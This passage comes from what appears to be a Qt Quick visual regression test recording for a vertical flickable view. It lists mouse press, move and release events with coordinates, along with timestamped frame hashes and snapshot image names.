- } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 222 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 224 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16672 - hash: "c30bea2a73a8b5af4565ef3996f29416" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 228 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 230 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16688 - hash: "9612c176ec3ecf76a367728f451522a4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 233 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16704 - hash: "24f6feeeb1ff82c8d4262f74e4656602" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 238 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16720 - hash: "5823b56f1e362fdfc216a82e2dcdec61" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 241 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16736 - hash: "4ee243b91e847dabaceb21b5540c2a6d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 245 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16752 - hash: "87f1dc2238577fc5be6b1bd941226f3e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 251 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16768 - hash: "480c6fcf1b3862a41a7225c35d8080c3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 256 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16784 - hash: "0ac819bd8e6ce19553bd954e466e7ac0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 258 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16800 - hash: "0636dd7c4eb0b56697fb59fb46f47f9c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 201; y: 267 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16816 - hash: "62f76f46857106010c2e862ed19baeea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 276 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16832 - hash: "26b9c6379590bbda24d129bd4f19f7d3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 279 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 280 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16848 - hash: "21baf0596553627c8e683a31c2e6d04f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 281 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16864 - hash: "036679da5def5e696361f2373172a3f4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 283 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16880 - hash: "e3fc6101bc6cccf309b3df6b194820ea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 285 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16896 - hash: "d9ee6d0a7455cfd724c1856549100756" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 286 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16912 - hash: "caa70db5f31eb607c2de39734a42796c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 287 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16928 - hash: "e2dc88b454e69cf92d6887a2f0629a94" - } - Frame { - msec: 16944 - hash: "e2dc88b454e69cf92d6887a2f0629a94" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 288 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 16960 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 16976 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 16992 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17008 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17024 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17040 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17056 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17072 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17088 - hash: "fac8455a2707b04aabff25723375a78b" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 203; y: 288 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 17104 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17120 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17136 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17152 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17168 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17184 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17200 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17216 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17232 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17248 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17264 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17280 - image: "flickable-vertical.17.png" - } - Frame { - msec: 17296 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17312 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17328 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17344 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17360 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17376 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17392 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17408 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17424 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17440 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17456 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17472 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17488 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17504 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17520 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17536 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17552 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17568 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17584 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17600 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17616 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17632 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17648 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17664 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17680 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17696 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17712 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17728 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17744 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17760 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17776 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17792 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17808 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17824 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17840 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17856 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17872 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17888 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17904 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17920 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17936 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17952 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17968 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 17984 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18000 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18016 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18032 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18048 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18064 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18080 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18096 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18112 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18128 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18144 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18160 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18176 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18192 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18208 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18224 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18240 - image: "flickable-vertical.18.png" - } - Frame { - msec: 18256 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18272 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18288 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18304 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18320 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18336 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18352 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18368 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18384 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18400 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18416 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18432 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18448 - hash: "fac8455a2707b04aabff25723375a78b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 102; y: 575 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 18464 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18480 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18496 - hash: "fac8455a2707b04aabff25723375a78b" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 102; y: 575 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 18512 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18528 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18544 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18560 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18576 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18592 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18608 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18624 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18640 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18656 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18672 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18688 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18704 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18720 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18736 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18752 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18768 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18784 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18800 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18816 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18832 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18848 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18864 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18880 - hash: "fac8455a2707b04aabff25723375a78b" - } - Frame { - msec: 18896 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 18912 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 18928 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 18944 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 18960 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 18976 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 18992 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19008 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19024 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19040 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19056 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19072 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19088 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19104 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19120 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19136 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19152 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19168 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19184 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19200 - image: "flickable-vertical.19.png" - } - Frame { - msec: 19216 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19232 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19248 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19264 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 164; y: 571 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 19280 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19296 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19312 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19328 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 164; y: 571 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 19344 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19360 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19376 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19392 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19408 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19424 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19440 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19456 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19472 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19488 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19504 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19520 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19536 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19552 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19568 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19584 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19600 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19616 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19632 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19648 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19664 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19680 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19696 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19712 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19728 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19744 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19760 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19776 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19792 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19808 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19824 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19840 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19856 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19872 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19888 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19904 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19920 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19936 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19952 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19968 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 19984 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20000 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20016 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20032 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20048 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20064 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20080 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20096 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20112 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20128 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20144 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20160 - image: "flickable-vertical.20.png" - } - Frame { - msec: 20176 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20192 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20208 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Frame { - msec: 20224 - hash: "cce4177eb20b7aa43a7383a16c43f473" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 170; y: 450 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 20240 - hash: "b8e7a053fc023be42ab5136f6e7305fd" - } - Frame { - msec: 20256 - hash: "b8e7a053fc023be42ab5136f6e7305fd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 170; y: 448 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 20272 - hash: "b8e7a053fc023be42ab5136f6e7305fd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 172; y: 438 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 20288 - hash: "40cf6e4567c796d6ad83778fb1959d8a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 410 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 20304 - hash: "9914584daf02407c1edc3b6a38b8302d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 388 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 366 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 20320 - hash: "5aff2316a5e34f5e15b7cb36257a3d72" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 342 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 176; y: 342 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 20336 - hash: "de1f9ff1abfa8cdc760bc84129fab40d" - } - Frame { - msec: 20352 - hash: "032c4fd62a0a611207262d317d4ea103" - } - Frame { - msec: 20368 - hash: "1db8a7b3899f5efea25ccf93285ee6bd" - } - Frame { - msec: 20384 - hash: "3c106f68b755862346cddd21d75c0caf" - } - Frame { - msec: 20400 - hash: "41d025dfe037b9cebe84e4c7200e9d15" - } - Frame { - msec: 20416 - hash: "f347687313c88150a6f977ae8b1620fc" - } - Frame { - msec: 20432 - hash: "4bb30faaec54e2a47dfd2b2988a6c231" - } - Frame { - msec: 20448 - hash: "fede02600e790d4b6eb1f85563b37cbc" - } - Frame { - msec: 20464 - hash: "0a949f7150b3709b9eda62c98f98fc62" - } - Frame { - msec: 20480 - hash: "214e571c2346b0d6b5d1220e856a8e67" - } - Frame { - msec: 20496 - hash: "f84207d20cfff984d1c79654a1074d02" - } - Frame { - msec: 20512 - hash: "7dc3592294dcd88fbfff2f984fd2d4c3" - } - Frame { - msec: 20528 - hash: "42829e78f62e692a093df267d2b673e2" - } - Frame { - msec: 20544 - hash: "d264570c78e7d1ea283c72191953a2ce" - } - Frame { - msec: 20560 - hash: "b69b045557a8eada80a24eb4caa7ea4e" - } - Frame { - msec: 20576 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20592 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20608 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20624 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20640 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20656 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20672 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20688 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20704 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20720 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20736 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20752 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20768 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20784 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20800 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20816 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20832 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20848 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20864 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20880 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20896 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20912 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20928 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20944 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20960 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20976 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 20992 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21008 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21024 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21040 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21056 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21072 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21088 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21104 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21120 - image: "flickable-vertical.21.png" - } - Frame { - msec: 21136 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21152 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21168 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21184 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21200 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21216 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21232 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21248 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21264 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21280 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21296 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21312 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21328 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21344 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21360 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21376 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21392 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21408 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21424 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21440 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21456 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21472 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21488 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21504 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21520 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21536 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21552 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21568 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Frame { - msec: 21584 - hash: "a76f069dfcb1af0794999c34507e190e" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 197; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 197; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 21600 - hash: "06472b42bc00fcaf7f84cd4ac613bbd2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 197; y: 146 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 197; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 21616 - hash: "463fce69afc3dec181425c9adaa3e77c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 197; y: 190 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 195; y: 218 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 21632 - hash: "9af34ff618e277eafad32e0377ecc94b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 250 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 21648 - hash: "db4b2333630ccc4a7982361609a12837" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 183; y: 